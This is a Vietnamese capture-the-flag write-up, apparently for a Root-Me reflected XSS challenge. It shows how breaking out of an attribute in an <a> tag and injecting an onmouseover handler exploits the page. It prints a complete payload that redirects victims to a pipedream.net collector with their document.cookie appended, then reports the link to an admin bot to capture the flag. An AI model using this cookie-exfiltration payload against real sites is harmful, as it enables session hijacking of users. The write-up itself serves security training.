Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

XSS Reflected

Kiểm tra source website ta thấy web bị comment 1 thẻ <> dẫn đến ?p=security:

Request đến ?p=security, website hiển thị trang web lỗi và có một hyperlink thẻ <a> hiển thị nội dung security:

Thử nhập ?p=<giá trị khác>, page sẽ báo lỗi và hiển thị nội dung <giá trị khác> trong thẻ <a>. Như vậy, lợi dụng thẻ <a> này, ta thực hiện đóng quote cũng như chèn thêm event để thực hiện XSS:

Đến đây, sau khi thử get trực tiếp document.cookie nhưng không có giá trị, ta thực hiện gửi HTTP Request và qua RequestBin chờ cookie.

Payload: http://challenge01.root-me.org/web-client/ch26/?p=nh4ttruong%27%20onmouseover=%27document.location=%22https://eol9dtzbk9673pb.m.pipedream.net?%22.concat(document.cookie)

Thực hiện request với payload, sau đó ta trigger event onmouseover và di chuyển chuột qua thẻ <a> để chuyển hướng website:

Sau đó, ta thực hiện lại một lần nữa nhưng sẽ thực hiện thêm bước Report đến admin đển POST request:

Qua RequestBin và nhận flag:

  • Flag: "****************************"